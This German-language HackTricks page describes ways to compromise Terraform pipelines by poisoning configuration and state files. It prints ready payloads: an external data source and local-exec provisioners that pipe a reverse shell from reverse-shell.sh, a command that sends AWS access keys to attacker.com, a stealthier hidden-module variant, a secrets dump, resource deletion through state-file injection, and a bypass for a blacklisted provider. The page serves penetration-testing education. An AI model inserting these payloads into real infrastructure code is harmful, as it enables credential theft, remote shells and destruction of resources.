Terraform Security

Unterstütze HackTricks

Grundinformationen

Aus den Dokumenten:

HashiCorp Terraform ist ein Infrastructure as Code-Tool, mit dem du sowohl Cloud- als auch On-Prem-Ressourcen in menschenlesbaren Konfigurationsdateien definieren kannst, die du versionieren, wiederverwenden und teilen kannst. Du kannst dann einen konsistenten Workflow verwenden, um deine gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochstufige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.

Wie funktioniert Terraform?

Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Diensten über deren Anwendungsprogrammierschnittstellen (APIs). Anbieter ermöglichen es Terraform, mit praktisch jeder Plattform oder jedem Dienst zu arbeiten, der eine zugängliche API hat.

HashiCorp und die Terraform-Community haben bereits mehr als 1700 Anbieter geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Du kannst alle öffentlich verfügbaren Anbieter im Terraform-Registry finden, einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.

Der Kern-Workflow von Terraform besteht aus drei Phasen:

  • Schreiben: Du definierst Ressourcen, die über mehrere Cloud-Anbieter und -Dienste verteilt sein können. Zum Beispiel könntest du eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen.

  • Planen: Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und deiner Konfiguration erstellen, aktualisieren oder zerstören wird.

  • Anwenden: Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und respektiert dabei alle Ressourcenabhängigkeiten. Wenn du beispielsweise die Eigenschaften einer VPC aktualisierst und die Anzahl der virtuellen Maschinen in dieser VPC änderst, wird Terraform die VPC neu erstellen, bevor es die virtuellen Maschinen skalieren kann.

Terraform-Labor

Installiere einfach Terraform auf deinem Computer.

Hier hast du eine Anleitung und hier hast du die beste Möglichkeit, Terraform herunterzuladen.

RCE in Terraform

Terraform hat keine Plattform, die eine Webseite oder einen Netzwerkdienst bereitstellt, den wir auflisten können, daher ist der einzige Weg, Terraform zu kompromittieren, in der Lage zu sein, Terraform-Konfigurationsdateien hinzuzufügen/zu ändern.

Allerdings ist Terraform ein sehr sensibler Bestandteil, der kompromittiert werden kann, da es privilegierten Zugriff auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert.

Der Hauptweg für einen Angreifer, das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, das Repository zu kompromittieren, das Terraform-Konfigurationen speichert, da sie irgendwann interpretiert werden.

Tatsächlich gibt es Lösungen, die Terraform-Plan/Apply automatisch nach der Erstellung eines PRs ausführen, wie Atlantis:

Wenn du in der Lage bist, eine Terraform-Datei zu kompromittieren, gibt es verschiedene Möglichkeiten, wie du RCE durchführen kannst, wenn jemand terraform plan oder terraform apply ausführt.

Terraform-Plan

Terraform-Plan ist der am häufigsten verwendete Befehl in Terraform, und Entwickler/Lösungen, die Terraform verwenden, rufen ihn ständig auf, sodass der einfachste Weg, RCE zu erhalten, darin besteht, sicherzustellen, dass du eine Terraform-Konfigurationsdatei vergiftest, die willkürliche Befehle in einem terraform plan ausführt.

Verwendung eines externen Anbieters

Terraform bietet den external-Anbieter, der eine Möglichkeit bietet, zwischen Terraform und externen Programmen zu interagieren. Du kannst die external-Datenquelle verwenden, um willkürlichen Code während eines plan auszuführen.

Wenn du in einer Terraform-Konfigurationsdatei etwas wie das Folgende injizierst, wird beim Ausführen von terraform plan eine Reverse-Shell ausgeführt:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Verwendung eines benutzerdefinierten Providers

Ein Angreifer könnte einen benutzerdefinierten Provider an das Terraform-Registry senden und ihn dann im Terraform-Code in einem Feature-Branch hinzufügen (Beispiel von hier):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Der Provider wird im init heruntergeladen und führt den schädlichen Code aus, wenn plan ausgeführt wird.

Ein Beispiel finden Sie unter https://github.com/rung/terraform-provider-cmdexec

Verwendung eines externen Verweises

Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine stealthier Weise durchführen, indem Sie diese Vorschläge befolgen:

  • Anstatt die rev shell direkt in die Terraform-Datei einzufügen, können Sie eine externe Ressource laden, die die rev shell enthält:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Sie können den rev shell Code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules finden.

  • Verwenden Sie in der externen Ressource die ref-Funktion, um den terraform rev shell code in einem Branch innerhalb des Repos zu verbergen, etwas wie: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Sie können es auch missbrauchen, um RCE zu erhalten, indem Sie eine bösartige Terraform-Datei mit local-exec** injizieren.** Sie müssen nur sicherstellen, dass eine Payload wie die folgenden im main.tf-Datei endet:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Folgen Sie den Vorschlägen aus der vorherigen Technik, um diesen Angriff auf eine diskretere Weise unter Verwendung externer Referenzen durchzuführen.

Secrets Dumps

Sie können geheime Werte, die von terraform verwendet werden, ausgeben, indem Sie terraform apply ausführen und der Terraform-Datei etwas hinzufügen wie:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Missbrauch von Terraform-Zustandsdateien

Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, bietet diese Forschung einige interessante Möglichkeiten, um die Datei auszunutzen:

Löschen von Ressourcen

Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:

  1. Fügen Sie eine Ressource mit einem zufälligen Namen in die Zustandsdatei ein, die auf die echte Ressource verweist, die gelöscht werden soll

Da Terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Ändern Sie die Ressource so, dass sie gelöscht wird, ohne dass eine Aktualisierung möglich ist (damit sie gelöscht und neu erstellt wird)

Für eine EC2-Instanz reicht es aus, den Typ der Instanz zu ändern, damit Terraform sie löscht und neu erstellt.

RCE

Es ist auch möglich, einen benutzerdefinierten Anbieter zu erstellen und einfach einen der Anbieter in der Terraform-Zustandsdatei durch den bösartigen zu ersetzen oder eine leere Ressource mit dem bösartigen Anbieter hinzuzufügen. Beispiel aus der ursprünglichen Forschung:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Ersetzen des auf der Blacklist stehenden Providers

Falls Sie auf eine Situation stoßen, in der hashicorp/external auf der Blacklist steht, können Sie den external Provider wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des External Providers, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Dann können Sie external wie gewohnt verwenden.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Audit Tools

  • tfsec: tfsec verwendet statische Analysen Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen.

  • terascan: Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code.

References

Support HackTricks

Last updated